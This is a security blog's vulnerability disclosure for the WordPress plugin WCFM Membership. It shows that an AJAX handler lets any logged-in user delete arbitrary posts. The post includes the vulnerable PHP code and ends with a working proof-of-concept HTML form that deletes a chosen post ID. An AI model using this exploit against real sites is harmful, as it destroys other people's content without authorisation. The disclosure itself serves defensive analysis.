23 Jul 2021

The WordPress Coding Standards for PHP_CodeSniffer Only Provides Limited Security Checking

One of the changelog entries for the latest version of the WordPress plugin WCFM Membership is:

Enhance – Many security check improved

Our monitoring systems notified us of that and we went to check if there was a vulnerability being fixed that we should be notifying customers of our service that were using that plugin about.

Based on the changes made it would appear the changes being made were in response to usage of the WordPress Coding Standards for PHP_CodeSniffer, as comments were added to the code that read:

phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized

Looking at the code being changed, we found that even after running the plugin through that, the plugin is still missing fairly fundamental security code, despite the plugin having 30,000+ installs.

As an example of that, let’s look at one change made. In the function delete_wcfm_membership() in the file /core/class-wcfmvm-ajax.php a line was changed so that the value from user input being set to variable had to be an integer.

Here is the previous code:

522
$membershipid = $_POST['membershipid'];

And here is the new code:

522
$membershipid = absint($_POST['membershipid']);

When you zoom out and look at the rest of the function, things get concerning. The comment ahead of the function is “Handle membership Delete“, but the code itself allows deleting anything stored in a WordPress as a post:

519
520
521
522
523
524
525
526
527
528
529
530
531
  public function delete_wcfm_membership() {
  	global $WCFM, $WCFMvm;
 
  	$membershipid = absint($_POST['membershipid']);
 
		if( $membershipid ) {
			if( wp_delete_post( $membershipid ) ) {
				echo 'success';
				die;
			}
			die;
		}
  }

That can include a lot of different things, as this code shows, since the membership is handled as post.

Depending on who has access to that function, that could be a big concern. Elsewhere in the file you find that anyone logged in to WordPress can access that through WordPress’ AJAX functionality:

41
add_action( 'wp_ajax_delete_wcfm_membership', array( &$this, 'delete_wcfm_membership' ) );

This plugin is designed to work with WooCommerce, which by default, allows untrusted individuals to create WordPress accounts, so anyone should be able to access it.

The security change that was made there shouldn’t have any impact, as the value passed to wp_delete_post( ) needs to be an integer to do anything.

Not The First Issue with WC Lovers

This isn’t the first time we have run across incredibly insecure code from the  developer of the plugin, WC Lovers. On June 9 we saw what look to be a hacker probing for usage of another of their plugins and found it was lacking basic security in an AJAX accessible function as well. At the time we found that this plugin contained a more serious version of that issue.

A Security Review Would Have Caught This

While the checking over the plugin with the WordPress Coding Standards for PHP_CodeSniffer led to making a security change there that doesn’t appear to have had an impact, a security review of the plugin would have caught this. Or at least it should, as the issue there is one that our security reviews of WordPress plugins would have caught, as one of the 22 different checks we currently do involves checking specifically for this type of issue:

  • Security issues with functions accessible through WordPress’ AJAX functionality (those are a common source of disclosed vulnerabilities these days)

Other checks we do as part of the review likely also would have caught that.

Check For Plugins With Similar Issues

The WordPress Coding Standards for PHP_CodeSniffer is not the only automated tool for checking the security of WordPress plugins. Our Plugin Security Checker is another option and if you had run the previous of the plugin through it, it would have warned about that code potentially allowing arbitrary posts to be deleted. After the change made, it didn’t detect it, but we have now improved the tool so it will catch situations like that as well:

 Possible Issues Detected in WCFM Membership – WooCommerce Memberships for Multivendor Marketplace: The plugin may allow arbitrary WordPress posts to be deleted based on user input. File: /wc-multivendor-membership/core/class-wcfmvm-ajax.php Code: 525 if( wp_delete_post( $membershipid ) ) { Unsecured Variable: $membershipid User input assigned to variable: 522 $membershipid = absint($_POST['membershipid']); [-] Hide details

WordPress Causes Full Disclosure

Because of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.) You can notify the developer of this issue on the forum as well. Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will delete the specified post, when logged in to WordPress.

Replace “[path to WordPress]” with the location of WordPress, “[post ID]” with the ID of the post to be deleted.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=delete_wcfm_membership" method="POST">
<input type="hidden" name="membershipid" value="[post ID]" />
<input type="submit" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.